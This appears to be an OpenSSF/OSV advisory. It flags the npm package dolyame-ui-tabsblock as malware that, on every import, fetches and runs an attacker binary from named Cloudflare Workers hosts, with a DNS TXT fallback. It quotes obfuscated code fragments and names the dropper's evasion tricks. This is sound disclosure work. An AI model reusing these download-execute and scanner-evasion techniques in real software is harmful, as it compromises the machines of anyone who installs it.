OpenSSF/OSV advisory MAL-2026-13512 confirms this npm version as malicious. On require, index.js loads./_compat and./lib/telemetry, both of which reconstruct hostnames at runtime from string fragments (e.g. ["oob-worker.c","f102-baf",".wor","kers",".dev"].join("")) and fetch an opaque platform-specific binary from Cloudflare Workers subdomains oob-worker.cf99-9b3.workers.dev, oob-worker.cf102-baf.workers.dev, and oob-worker.cf101-adf.workers.dev...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in dolyame-ui-tabsblock (npm)
Details
On require, index.js loads./_compat and./lib/telemetry, both of which reconstruct hostnames at runtime from string fragments (e.g. ["oob-worker.c","f102-baf",".wor","kers",".dev"].join("")) and fetch an opaque platform-specific binary from Cloudflare Workers subdomains oob-worker.cf99-9b3.workers.dev, oob-worker.cf102-baf.workers.dev, and oob-worker.cf101-adf.workers.dev. The bytes are written to /tmp or the Windows temp directory under randomized names such as.cache_XX or dotnet_diag_XX.exe, made executable via fs["chmod"+"Sync"](path, 0o755), and launched detached with cp.spawn("/bin/sh", ["-c", filePath+" &"], {detached:true}).unref(). A time-gated flag in /tmp suppresses re-run within roughly six hours. If HTTPS delivery fails, _compat.js falls back to dns.resolveTxt against sdk.dl.wel1.ru, ext.dl.wel1.ru, pkg.dl.wel1.ru, and net.dl.wel1.ru: it reads a counter TXT record at c.<domain>, then batches queries for numbered subdomains, concatenates the TXT contents, and base64-decodes the result into the executable payload. lib/telemetry.js contains a parallel fetch->write->chmod 755->spawn path camouflaged as a Sentry-lookalike "apm.node" SDK. child_process, chmodSync, and hostname API names are split-string obfuscated to evade static scanners. The package name mimics a Russian BNPL brand while its actual behavior is retrieving and executing attacker-controlled native code on every import.
Decision reason
OpenSSF Malicious Packages via OSV confirms dolyame-ui-tabsblock@35.8.1 as malicious (MAL-2026-13512): Malicious code in dolyame-ui-tabsblock (npm)